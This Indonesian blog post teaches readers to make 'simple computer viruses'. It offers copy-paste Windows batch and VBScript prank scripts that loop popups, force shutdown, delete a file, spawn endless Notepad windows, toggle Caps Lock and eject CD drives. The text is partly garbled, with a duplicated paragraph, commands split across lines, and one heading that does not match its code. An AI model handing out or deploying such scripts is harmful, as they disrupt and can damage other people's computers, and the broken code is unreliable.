Apa kabar semuanya..?? Semoga baik-baik saja ya, Amin..
Dah lama banget nih ga' sempet online n ga' ngeposting. Kali ini saya akan berbagi informasi tentang cara membuat virus komputer sederhana. Dibaca dan di pahami baik-baik ya :
Dah lama banget nih ga' sempet online n ga' ngeposting. Kali ini saya akan berbagi informasi tentang cara membuat virus komputer sederhana. Dibaca dan di pahami baik-baik ya :
Ini adalah cara membuat virus yang sederhana, saya rasa semua orang bisa melakukannya. Hanya dengan notepad dan kemampuan copy-paste anda sudah bisa.
@ECHO off
:<br />
Begin<br />
msg * Lagi ngapain ?<br />
msg * Hayo buka apa ?<br />
msg * Nanti dimarahin ama mak loe<br />
msg * Makannya jangan sembrono !<br />
msg * minta bantuan gih sono !<br />
msg * Udah instal ulang aja !!!!<br />
msg * tit............................
GOTO BEGIN</div>
bisa dirubah sesuai keinginan anda!
simpan dengan berekstensi .bat contoh fawaiqblog.bat
2. Pertanyaan menjebak, script nya :
@echo off
title quiz hari ini
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
simpan dengan .bat contoh = fawaiqblog.bat
3. Membuka notepad terus-menerus, script nya :
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
sama simpan dengan .bat
4. Komputer mati sendiri dan ngirim message, script nya :
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
simpan dengan .vbs
5. Buka tutup cd room terus menerus, script nya :
Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
simpan dengan .vbs
Selamat mencoba, tapi jangan di gunakan untuk kejahatan dan balas dendam. Semoga artikel tentang cara membuat virus komputer sederhana bisa bermanfaat.
Sumber : cyber4rt
